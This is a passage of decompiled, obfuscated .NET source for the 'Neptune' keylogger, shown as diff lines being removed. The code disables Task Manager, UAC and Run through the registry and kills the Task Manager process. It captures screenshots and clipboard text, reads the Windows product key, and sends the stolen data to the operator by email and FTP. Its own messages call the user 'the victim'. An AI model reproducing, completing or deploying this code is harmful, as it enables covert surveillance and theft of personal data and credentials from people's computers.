num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num5 : num5; - continue; - case 55: - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - num1 = 74; - continue; - case 56: - Module1.NWiLe = (object) Module1.TripleDESDecode(Module1.NWiLe, (object) "System.Net"); - num1 = 81; - continue; - case 57: - today = DateAndTime.Today; - Module1.\u0039tQwKe2CnnLlNBStFc(); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 12; - continue; - } - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 79; - continue; - } - goto case 9; - case 58: - Module1.rlEBXtS(); - num1 = 66; - continue; - case 59: - ref object local6 = ref Module1.DdoiBxU; - ref object local7 = ref Module1.JeRbytX; - ref object local8 = ref Module1.XghfkIO; - ref object local9 = ref Module1.VNlBtdLO; - string str3 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local10 = ref str3; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local11 = ref str1; - integer = Conversions.ToInteger((string) Module1.lMVhKdJg); - ref int local12 = ref integer; - ref bool local13 = ref Module1.TakeScrns; - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - Module1.SendEmail((string&) ref local6, (string&) ref local7, (string&) ref local8, (string&) ref local9, ref local10, ref local11, ref local12, ref local13); - num1 = 30; - continue; - case 60: - Module1.cJciqfLUV = (object) Module1.TXlHISb; - num1 = 19; - continue; - case 61: - thread2 = new Thread(new ThreadStart(Module1.ktGiC)); - num1 = 71; - continue; - case 62: - case 79: - if (Operators.CompareString((string) Module1.DBGqxF, "Melt", false) == 0) - { - num1 = 25; - continue; - } - if (Operators.CompareString((string) Module1.DBGqxF, "Hide", false) == 0) - { - num1 = 87; - continue; - } - goto case 4; - case 64: - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - num1 = 39; - continue; - case 65: - Module1.cJciqfLUV = (object) Module1.LNFetlW; - if (true) - { - num1 = 37; - continue; - } - goto case 60; - case 66: - switch (Module1.JMEcrkUDF) - { - case 3: - if (true) - { - num1 = 61; - continue; - } - goto label_59; - case 4: - num1 = 43; - continue; - default: - goto label_94; - } - case 67: - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - if (true) - { - num1 = 13; - continue; - } - goto case 62; - case 68: - Interaction.Shell("C:\\Windows\\System32\\glyJe.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - num1 = 48; - continue; - case 69: - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - num1 = 17; - continue; - case 70: - index = 0; - num1 = 47; - continue; - case 71: - thread2.Start(); - num1 = 41; - continue; - case 72: - if (!((string) Module1.SDDate).Contains("SDDate+")) - { - num1 = 57; - continue; - } - goto case 80; - case 74: -label_59: - if (Module1.PHfun) - { - num1 = 64; - continue; - } - goto case 39; - case 75: - strArray = Strings.Split((string) Module1.pxLmGlKbC, ","); - num1 = 70; - continue; - case 76: - checked { ++index; } - if (true) - { - num1 = 26; - continue; - } - goto case 29; - case 77: - if (Module1.QPrZq) - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 68; - continue; - } - goto case 14; - } - else - goto case 48; - case 78: - if (Module1.QEZPGU) - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 6; - continue; - } - goto case 40; - } - else - goto case 51; - case 80: - if (!((string) Module1.Delay).Contains("DelOff+")) - { - num1 = 34; - continue; - } - goto case 11; - case 81: - Module1.pmgyv = (object) Module1.TripleDESDecode(Module1.pmgyv, (object) "System.Net"); - num1 = 40; - continue; - case 82: - Module1.XghfkIO = (object) Module1.TripleDESDecode(Module1.XghfkIO, (object) "System.Net"); - int num6 = 56; - num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num6 : num6; - continue; - case 83: - thread1.Start(); - if (true) - { - num1 = 89; - continue; - } - goto case 16; - case 84: - thread1 = new Thread(new ThreadStart(Module1.TimedSS)); - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 83; - continue; - } - goto case 61; - case 85: - icon = new MessageBoxIcon(); - num1 = 46; - continue; - case 86: - MyProject.Computer.Network.DownloadFile((string) Module1.JPLWno, Path.GetTempPath() + (string) Module1.QtVGWac); - num1 = 35; - continue; - case 87: - fileInfo = new FileInfo(Application.ExecutablePath); - num1 = 50; - continue; - case 88: - Module1.cJciqfLUV = (object) Module1.fWNakTT; - num1 = 28; - continue; - case 89: - goto label_132; - default: - num1 = 45; - continue; - } - } -label_132: - while (true) - { - try - { - Module1.WaitEx(); - int num7; - if (Operators.CompareString((string) Module1.ZTliFbzF, "", false) == 0 & Module1.NoEL) - { - if (true) - { - num7 = 4; - goto label_147; - } - } - else - goto label_142; -label_134: - string str4 = ""; - if (true) - { - num7 = 8; - goto label_147; - } -label_135: - str4 = str4 + "System Information - \r\n" + Module1.VvvLC() + "\r\n"; - num7 = 7; - goto label_147; -label_142: - str4 = ""; - num7 = 1; -label_147: - Thread thread3; - while (true) - { - switch (num7) - { - case 0: - thread3.Start(); - num7 = 13; - continue; - case 1: - if (Module1.bruxpOrW) - { - Module1.aK5Gis8GMgDL8lkmJj(); - num7 = Module1.\u0039tQwKe2CnnLlNBStFc() ? 5 : 10; - continue; - } - goto case 7; - case 2: - case 10: - goto label_135; - case 3: - goto label_134; - case 4: - case 13: - goto label_132; - case 5: - case 9: - thread3 = new Thread(new ThreadStart(Module1.PKnEWqK)); - num7 = 0; - continue; - case 6: - Module1.ZTliFbzF = (object) str4; - num7 = 3; - continue; - case 7: - if (Module1.GoobOpMY) - { - if (true) - { - num7 = 12; - continue; - } - goto case 0; - } - else - goto case 11; - case 8: - Module1.LastCheckedForegroundTitle = (object) ""; - goto case 5; - case 11: - str4 += (string) Module1.ZTliFbzF; - goto case 6; - case 12: - str4 = str4 + "Clipboard: " + Clipboard.GetText(); - num7 = 11; - continue; - default: - num7 = 6; - continue; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void TimedSS() - { - int num1 = 0; - int num2; - while (true) - { - switch (num1) - { - case 0: - case 8: - Module1.NuPgbnWCZyQDtdGcaq2(); - num1 = 7; - continue; - case 1: - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - Module1.UpFTPImg((string&) ref Module1.ikRXq, (string&) ref Module1.BNefB, (string&) ref Module1.NWiLe, (string&) ref Module1.pmgyv); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 8; - continue; - } - goto case 6; - case 3: - case 5: - Module1.lMVhKdJg = Module1.FBtMjMrJbh2EvGGTVu(num2); - goto default; - case 6: - ref object local1 = ref Module1.DdoiBxU; - ref object local2 = ref Module1.JeRbytX; - ref object local3 = ref Module1.XghfkIO; - ref object local4 = ref Module1.VNlBtdLO; - string str1 = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) "Neptune - ", Module1.jZCMD30I9rA2jkTnmo(), (object) " - ", Module1.TowVIpW690WIw1AqaBR()); - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - num2 = Module1.fkvBv3WWIxGswsNxvoE(Module1.lMVhKdJg); - ref int local7 = ref num2; - bool flag = true; - ref bool local8 = ref flag; - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - Module1.SendEmail((string&) ref local1, (string&) ref local2, (string&) ref local3, (string&) ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.\u0039tQwKe2CnnLlNBStFc(); - if (!Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 2; - continue; - } - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 5; - continue; - } - goto case 0; - case 7: - if (Module1.SnBnaCY) - { - num1 = 6; - continue; - } - goto default; - default: - if (Module1.QEZPGU) - { - num1 = 1; - continue; - } - goto case 0; - } - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void WaitEx1() - { - Module1.aK5Gis8GMgDL8lkmJj(); - int num = Module1.\u0039tQwKe2CnnLlNBStFc() ? 2 : 3; - Thread thread; - while (true) - { - switch (num) - { - case 0: - case 3: - thread = new Thread(new ThreadStart(Module1.WT1)); - goto case 1; - case 1: - case 2: - Module1.sfTnhuWss14xvIZH5WI((object) thread); - goto case 4; - case 4: - Module1.\u0031VWnigWKFKLS69RdnXc((object) thread); - num = 5; - continue; - case 5: - goto label_5; - default: - num = 4; - continue; - } - } -label_5:; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void WT1() => Module1.\u0036TV7knWwdf9V8Ro5hAj(checked ((int) Module1.B6yIdhWa8bOeEZFbsEY(unchecked (Module1.T8MwLxWQQd2buVZF2vD(Module1.SSInt) * 60.0 * 1000.0)))); - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void PKnEWqK() - { - int num1 = 0; - string ztliFbzF; - int num2; - while (true) - { - switch (num1) - { - case 0: - ztliFbzF = (string) Module1.ZTliFbzF; - if (!Module1.aK5Gis8GMgDL8lkmJj()) - { - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 8; - continue; - } - goto case 5; - } - else - { - num1 = 4; - continue; - } - case 1: - case 4: - Module1.ZTliFbzF = (object) ""; - goto case 2; - case 2: - case 8: - if (Module1.SnBnaCY) - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 5; - continue; - } - goto case 0; - } - else - goto case 7; - case 3: - Module1.lMVhKdJg = Module1.FBtMjMrJbh2EvGGTVu(num2); - if (true) - { - num1 = 7; - continue; - } - goto case 7; - case 5: - ref object local1 = ref Module1.DdoiBxU; - ref object local2 = ref Module1.JeRbytX; - ref object local3 = ref Module1.XghfkIO; - ref object local4 = ref Module1.VNlBtdLO; - string str = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) "Neptune - ", Module1.jZCMD30I9rA2jkTnmo(), (object) " - ", Module1.TowVIpW690WIw1AqaBR()); - ref string local5 = ref str; - ref string local6 = ref ztliFbzF; - num2 = Module1.fkvBv3WWIxGswsNxvoE(Module1.lMVhKdJg); - ref int local7 = ref num2; - ref bool local8 = ref Module1.TakeScrns; - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - Module1.SendEmail((string&) ref local1, (string&) ref local2, (string&) ref local3, (string&) ref local4, ref local5, ref local6, ref local7, ref local8); - goto case 3; - case 6: - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - Module1.UpFTP((string&) ref Module1.ikRXq, (string&) ref Module1.BNefB, (string&) ref Module1.NWiLe, (string&) ref Module1.pmgyv, ref ztliFbzF); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 9; - continue; - } - goto case 1; - case 7: - if (Module1.QEZPGU) - { - num1 = 6; - continue; - } - goto label_16; - case 9: - goto label_3; - default: - num1 = 3; - continue; - } - } -label_3: - return; -label_16:; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void WaitEx() - { - int num = !Module1.aK5Gis8GMgDL8lkmJj() ? 1 : 4; - while (true) - { - Thread thread; - switch (num) - { - case 0: - case 4: - thread = new Thread(new ThreadStart(Module1.WT)); - num = 3; - continue; - case 3: - Module1.sfTnhuWss14xvIZH5WI((object) thread); - break; - case 5: - goto label_5; - } - Module1.\u0031VWnigWKFKLS69RdnXc((object) thread); - num = 5; - } -label_5:; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void WT() => Module1.\u0036TV7knWwdf9V8Ro5hAj(checked ((int) Module1.B6yIdhWa8bOeEZFbsEY(unchecked (Module1.T8MwLxWQQd2buVZF2vD(Module1.TNfczVtli) * 60.0 * 1000.0)))); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static void jlSYrzoUQ(int interval) - { - int num = 6; - Stopwatch stopwatch; - while (true) - { - switch (num) - { - case 4: - Module1.\u0036WpNw2WAgCcDLu1LbTo((object) stopwatch); - num = 7; - continue; - case 5: - Module1.cAIdiGWNn71GylBERuo((object) stopwatch); - num = !Module1.aK5Gis8GMgDL8lkmJj() ? 0 : 1; - continue; - case 6: - stopwatch = new Stopwatch(); - num = 5; - continue; - case 7: - goto label_3; - default: - while (Module1.NEu3WBWd63EA2Jx68Ut((object) stopwatch) < (long) interval) - Module1.h0taalWjaUk2LE6ndhT(); - num = 4; - continue; - } - } -label_3:; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static string GetWindowsKey() - { - int num1 = 1; - int index; - object obj1; - object obj2; - object obj3; - int num2; - object obj4; - char[] chArray; - while (true) - { - switch (num1) - { - case 0: - chArray[index] = Module1.aDonlbW2E3xwXh4Su08((object) "BCDFGHJKMPQRTVWXY2346789", Module1.KqEXibW8s0Mvpx4K8CX(obj3)); - num1 = 7; - continue; - case 1: - obj1 = Module1.\u0034ZWDLYW1OLYbK9lFMUb((object) Registry.LocalMachine, (object) "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false); - num1 = 15; - continue; - case 2: - case 3: - goto label_8; - case 4: - case 16: - checked { index += -1; } - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 12; - continue; - } - goto case 0; - case 5: - if (obj2 != null) - { - chArray = new char[29]; - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 8; - continue; - } - goto case 9; - } - else - { - Module1.aK5Gis8GMgDL8lkmJj(); - if (Module1.\u0039tQwKe2CnnLlNBStFc()) - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 9; - continue; - } - goto case 4; - } - else - { - num1 = 2; - continue; - } - } - case 6: - chArray[index] = '-'; - num1 = 4; - continue; - case 7: - checked { num2 += -1; } - num1 = 17; - continue; - case 8: - index = 28; - num1 = 14; - continue; - case 9: - case 10: - Module1.fDbRtQWlCptU1li0fPQ(obj2, (object) new object[2] - { - (object) num2, - (object) Module1.tLwMF4Wu0AJeExUoZjL(Module1.Slc6ulWyu86CbV8DoVU(obj4, (object) 24)) - }, (object) null); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 13; - continue; - } - goto case 7; - case 11: - obj4 = Module1.DDTy3JW5Z2aQyyYpSfL(Module1.OSTovcWGYBqunkHw89u(obj3, (object) 8), Module1.JQM90YWi3eYxbtnVBNl(obj2, (object) new object[1] - { - (object) num2 - }, (object) null)); - goto case 9; - case 12: - if (index < 0) - { - num1 = 19; - continue; - } - goto case 14; - case 13: - obj3 = Module1.flHWiKWYxXgTOXR7ecp(obj4, (object) 24); - num1 = 0; - continue; - case 14: - if (checked (index + 1) % 6 == 0) - { - num1 = 6; - continue; - } - obj3 = (object) 0; - if (true) - { - num1 = 18; - continue; - } - goto case 17; - case 15: - obj2 = (object) (Module1.T6EraqWtBlI68KukGPK(obj1, (System.Type) null, (object) "GetValue", (object) new object[1] - { - (object) "DigitalProductId" - }, (object) null, (object) null, (object) null) as byte[]); - int num3 = 5; - num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num3 : num3; - continue; - case 17: - if (num2 < 52) - { - num1 = 16; - continue; - } - goto case 11; - case 18: - num2 = 66; - goto case 11; - case 19: - goto label_27; - default: - if (true) - { - num1 = 11; - continue; - } - goto case 4; - } - } -label_8: - return "value was nothing!"; -label_27: - return new string(chArray); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string jYsja(object Bytes) - { - string str; - try - { - int num; - if (Module1.BIXoZdWDhWaY89ADEVh(Bytes, (object) 1073741824, false)) - { - num = 8; - goto label_8; - } - else if (Module1.BIXoZdWDhWaY89ADEVh(Bytes, (object) 1048576, false)) - { - if (true) - { - num = 7; - goto label_8; - } - } - else if (!Module1.BIXoZdWDhWaY89ADEVh(Bytes, (object) 1024, false)) - { - if (!Module1.\u0034dRM75W0WmP5FAWBmte(Bytes, (object) 1024, false)) - goto label_16; - else - goto label_6; - } - else - goto label_10; -label_5: - str = (string) Module1.GeKcxdf1Ev4XQMv1b5(Module1.jSLPS0WTfAbbI8kDqlb(Module1.TQ6gUkWUO7FUeBBuXTy(Module1.TQ6gUkWUO7FUeBBuXTy(Bytes, (object) 1024), (object) 1024), (object) "#0.00"), (object) " MB"); - num = 3; - goto label_8; -label_6: - str = (string) Module1.D1yI7Lm8S8hp1XhEMP(Module1.w9ViC9JjcNa9XFfrg7(Module1.Xus0R3WoabvfvVdCeiH(Module1.\u0036FPjOBWLsY14EweojkB(Bytes)), (object) " Bytes")); - num = 9; -label_8: - while (true) - { - switch (num) - { - case 0: - case 6: - goto label_6; - case 1: - case 2: - case 3: - case 4: - case 9: - goto label_17; - case 5: - goto label_10; - case 7: - goto label_5; - case 8: - do - { - str = (string) Module1.GeKcxdf1Ev4XQMv1b5(Module1.jSLPS0WTfAbbI8kDqlb(Module1.TQ6gUkWUO7FUeBBuXTy(Module1.TQ6gUkWUO7FUeBBuXTy(Module1.TQ6gUkWUO7FUeBBuXTy(Bytes, (object) 1024), (object) 1024), (object) 1024), (object) "#0.00"), (object) " GB"); - Module1.\u0039tQwKe2CnnLlNBStFc(); - if (Module1.aK5Gis8GMgDL8lkmJj()) - goto label_14; - } - while (!Module1.aK5Gis8GMgDL8lkmJj()); - num = 0; - continue; -label_14: - num = 2; - continue; - default: - if (true) - { - num = 5; - continue; - } - goto label_10; - } - } -label_10: - str = (string) Module1.GeKcxdf1Ev4XQMv1b5(Module1.jSLPS0WTfAbbI8kDqlb(Module1.TQ6gUkWUO7FUeBBuXTy(Bytes, (object) 1024), (object) "#0.00"), (object) " KB"); - num = 4; - goto label_8; - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - str = "0 Bytes"; - Module1.tfQG9ZxSAoLso7uAc4(); - goto label_17; - } -label_16: - return "0 Bytes"; -label_17: - return str; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string VvvLC() - { - int num1 = 0; - if (true) - goto label_6; -label_1: - string str1 = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) str1, (object) "Operating System: ", Module1.yBl4HJWpqJtvURDV5AH(), (object) "\r\n"); - num1 = 6; -label_6: - while (true) - { - ulong num2; - switch (num1) - { - case 0: - str1 = (string) Module1.Cu6LEMoCdLZt1XXcm1((object) "Machine Name: ", Module1.jZCMD30I9rA2jkTnmo(), (object) "\r\n"); - num1 = 7; - continue; - case 2: - str1 = (string) Module1.Cu6LEMoCdLZt1XXcm1((object) str1, (object) "Local Time: ", (object) Module1.bukOsUV7jtnskmOEG1().ToString()); - num1 = 10; - continue; - case 3: - str1 = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) str1, (object) "System Directory: ", Module1.Yn8bPeWSAZNlmM9KUlu(), (object) "\r\n"); - num1 = 2; - continue; - case 4: - case 8: - string str2 = str1; - num2 = Module1.I9a3gvWxOdIrJv9FqHf(Module1.pb1i9qWhxVlu0fhWRQ6(Module1.CaMd2BvH2uoKiGkKIp())); - object obj1 = Module1.RMi29MW7fjA4nX63c0j((object) num2.ToString()); - str1 = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) str2, (object) "Available Physical Memory: ", obj1, (object) "\r\n"); - break; - case 6: - str1 = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) str1, (object) "Windows Key: ", Module1.Wbh2fVWZxPNnUvl60kj(), (object) "\r\n"); - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 8; - continue; - } - goto case 4; - } - else - { - num1 = 1; - continue; - } - case 7: - str1 = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) str1, (object) "Current User: ", Module1.TowVIpW690WIw1AqaBR(), (object) "\r\n"); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 9; - continue; - } - goto case 0; - case 9: - goto label_1; - case 10: - goto label_12; - } - string str3 = str1; - num2 = Module1.\u0038wOTVZWXystv89ao8C8(Module1.pb1i9qWhxVlu0fhWRQ6(Module1.CaMd2BvH2uoKiGkKIp())); - object obj2 = Module1.RMi29MW7fjA4nX63c0j((object) num2.ToString()); - str1 = (string) Module1.\u0031mjtVWWeVwql8G9KXjb((object) str3, (object) "Available Virtual Memory: ", obj2, (object) "\r\n"); - num1 = 3; - } -label_12: - return str1; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string GenerateOperatingSystem() - { - int num1 = 0; - int num2; - string operatingSystem1; - OperatingSystem operatingSystem2; - while (true) - { - switch (num1) - { - case 0: - operatingSystem2 = (OperatingSystem) Module1.nOJb2qWBLgDhrNL1CqI(); - num1 = 4; - continue; - case 1: - case 2: - case 3: - case 8: - case 10: - case 12: - case 13: - case 14: - case 17: - case 19: - case 20: - case 25: - case 26: - goto label_39; - case 4: - operatingSystem1 = "UN"; - num1 = 16; - continue; - case 5: - operatingSystem1 = "98"; - num1 = 2; - continue; - case 6: - operatingSystem1 = "VS"; - if (true) - { - num1 = 3; - continue; - } - goto label_39; - case 7: - operatingSystem1 = "95"; - num1 = 10; - continue; - case 9: - operatingSystem1 = "XP"; - Module1.aK5Gis8GMgDL8lkmJj(); - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 20; - continue; - } - if (true) - { - num1 = 21; - continue; - } - goto case 21; - case 11: - if (Module1.yNPhSaWnMoPVgt8swQ0(Module1.kXJPGMWMIEs9AxcqgeH((object) operatingSystem2)) == 0) - { - if (true) - { - num1 = 6; - continue; - } - goto label_39; - } - else if (Module1.yNPhSaWnMoPVgt8swQ0(Module1.kXJPGMWMIEs9AxcqgeH((object) operatingSystem2)) != 1) - goto label_39; - else - goto case 21; - case 15: - operatingSystem1 = "2K3"; - num1 = 13; - continue; - case 16: - switch (Module1.FowurWWcomgkkWLwvWJ((object) operatingSystem2)) - { - case PlatformID.Win32Windows: - num2 = Module1.yNPhSaWnMoPVgt8swQ0(Module1.kXJPGMWMIEs9AxcqgeH((object) operatingSystem2)); - num1 = 22; - continue; - case PlatformID.Win32NT: - switch (Module1.TTr4sKWb9QS0AIO4gY9(Module1.kXJPGMWMIEs9AxcqgeH((object) operatingSystem2))) - { - case 3: - operatingSystem1 = "NT"; - num1 = 19; - continue; - case 4: - goto label_16; - case 5: - if (Module1.yNPhSaWnMoPVgt8swQ0(Module1.kXJPGMWMIEs9AxcqgeH((object) operatingSystem2)) != 0) - { - if (Module1.yNPhSaWnMoPVgt8swQ0(Module1.kXJPGMWMIEs9AxcqgeH((object) operatingSystem2)) == 1) - { - num1 = 9; - continue; - } - if (Module1.yNPhSaWnMoPVgt8swQ0(Module1.kXJPGMWMIEs9AxcqgeH((object) operatingSystem2)) == 2) - { - int num3 = 15; - num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num3 : num3; - continue; - } - goto label_39; - } - else - { - num1 = 24; - continue; - } - case 6: - operatingSystem1 = "VS"; - num1 = 11; - continue; - default: - if (true) - { - num1 = 8; - continue; - } - goto label_37; - } - default: - if (true) - { - num1 = 12; - continue; - } - goto label_39; - } - case 18: - operatingSystem1 = "ME"; - num1 = 14; - continue; - case 21: - case 23: - operatingSystem1 = "W7"; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 26; - continue; - } - goto label_39; - case 22: -label_37: - switch (num2) - { - case 0: - num1 = 7; - continue; - case 10: - num1 = 5; - continue; - case 90: - if (true) - { - num1 = 18; - continue; - } - goto label_39; - default: - goto label_39; - } - case 24: - operatingSystem1 = "2K"; - num1 = 25; - continue; - default: - num1 = 1; - continue; - } - } -label_16: - operatingSystem1 = "NT"; -label_39: - return operatingSystem1; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void ktGiC() - { - int num = 6; -label_13: - int index; - Process[] processArray; - Process process; - while (true) - { - switch (num) - { - case 0: - case 9: - while (index < processArray.Length) - { - process = processArray[index]; - Module1.\u0039tQwKe2CnnLlNBStFc(); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num = 10; - goto label_13; - } - } - else if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num = 3; - goto label_13; - } - else - goto case 6; - } - num = 11; - continue; - case 1: - processArray = (Process[]) Module1.nu8HV8Wk4kQWal6R5bg(); - num = 7; - continue; - case 2: - Module1.R1k9LWWIQ4xJs3bAZn9(700); - num = 8; - continue; - case 4: - case 10: - if (!Module1.\u0035tpbkyWmkvJnRPxfJX2(Module1.LbFF7OW3e5a48dTQO9a((object) process), (object) "Windows Task Manager")) - goto case 8; - else - goto default; - case 6: - case 11: - Module1.R1k9LWWIQ4xJs3bAZn9(300); - num = 1; - continue; - case 7: - index = 0; - num = 0; - continue; - case 8: - checked { ++index; } - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num = 9; - continue; - } - goto case 6; - default: - Module1.xZEsC9WfINVbmm1m4XG((object) process); - if (true) - { - num = 2; - continue; - } - goto case 8; - } - } - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void qIGcM() - { - object obj = Module1.yhr72wWJGpR6GY4MDU1(); - string lpFileName = (string) Module1.yhr72wWJGpR6GY4MDU1(); - int moduleFileName = Module1.GetModuleFileName(0, ref lpFileName, 256); - Module1.MoveFile((string) Module1.SGbNNYWVs3NEHyrSXv5(obj, moduleFileName), (string) Module1.\u0031mjtVWWeVwql8G9KXjb(Module1.yI89MBWvaxxZ6c0WajU(), (object) "\\tm", (object) Module1.OBKlNtLdB5w6bbZabL().Millisecond.ToString(), (object) ".tmp"), 8L); - Module1.ExitProcess(0U); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string UpFTP( - ref string DdoiBxU, - ref string Dir, - ref string JeRbytX, - ref string XghfkIO, - ref string upStr) - { - string str1; - try - { - string str2 = (string) Module1.Cu6LEMoCdLZt1XXcm1((object) "\\", Module1.ijtGi7WqRRamMi6SsXg(), (object) ".txt"); - string str3 = (string) Module1.GeKcxdf1Ev4XQMv1b5(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2); - Module1.kRocdXWgHPlBSp42uUr((object) str3, (object) upStr); - Module1.cbcd6BWPIXOvqFBxULu(Module1.pqwH7oWHnmIujkZsule(Module1.CaMd2BvH2uoKiGkKIp()), (object) str3, Module1.\u0031mjtVWWeVwql8G9KXjb((object) "ftp://", (object) DdoiBxU, (object) Dir, (object) str2), (object) JeRbytX, (object) XghfkIO); - if (Module1.TakeScrns) - { - Bitmap bitmap = new Bitmap(Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Width, Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Height); - try - { - Graphics graphics = (Graphics) Module1.fqB50dW93ORRG6SYCJq((object) bitmap); - try - { - Module1.TGPGTBWEinOOJ85Oq8Y((object) graphics, 0, 0, 0, 0, Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Size); - int num1; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - int num2 = 2; - num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num2 : num2; - } - else - goto label_8; -label_7: - switch (num1) - { - case 0: - case 2: - Module1.sF1FbNW4S2Y9Z5fmOJG((object) bitmap, Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif"), Module1.\u00352e5WsWrkD3sJqPIvFM()); - goto label_15; - default: - goto label_15; - } -label_8: - num1 = 3; - if (true) - goto label_7; - } - finally - { - if (graphics != null) - Module1.BJSjcqWz9LXfF1jMTHh((object) graphics); - } - } - finally - { - if (bitmap != null) - Module1.BJSjcqWz9LXfF1jMTHh((object) bitmap); - } -label_15: - Module1.cbcd6BWPIXOvqFBxULu(Module1.pqwH7oWHnmIujkZsule(Module1.CaMd2BvH2uoKiGkKIp()), Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif"), Module1.gTfNjvCRy8LOakR9vuH((object) new string[5] - { - "ftp://", - DdoiBxU, - Dir, - str2, - ".gif" - }), (object) JeRbytX, (object) XghfkIO); - Module1.wSsrq1CWFI1pxdIQV4U(Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif")); - } - Module1.wSsrq1CWFI1pxdIQV4U((object) str3); - str1 = 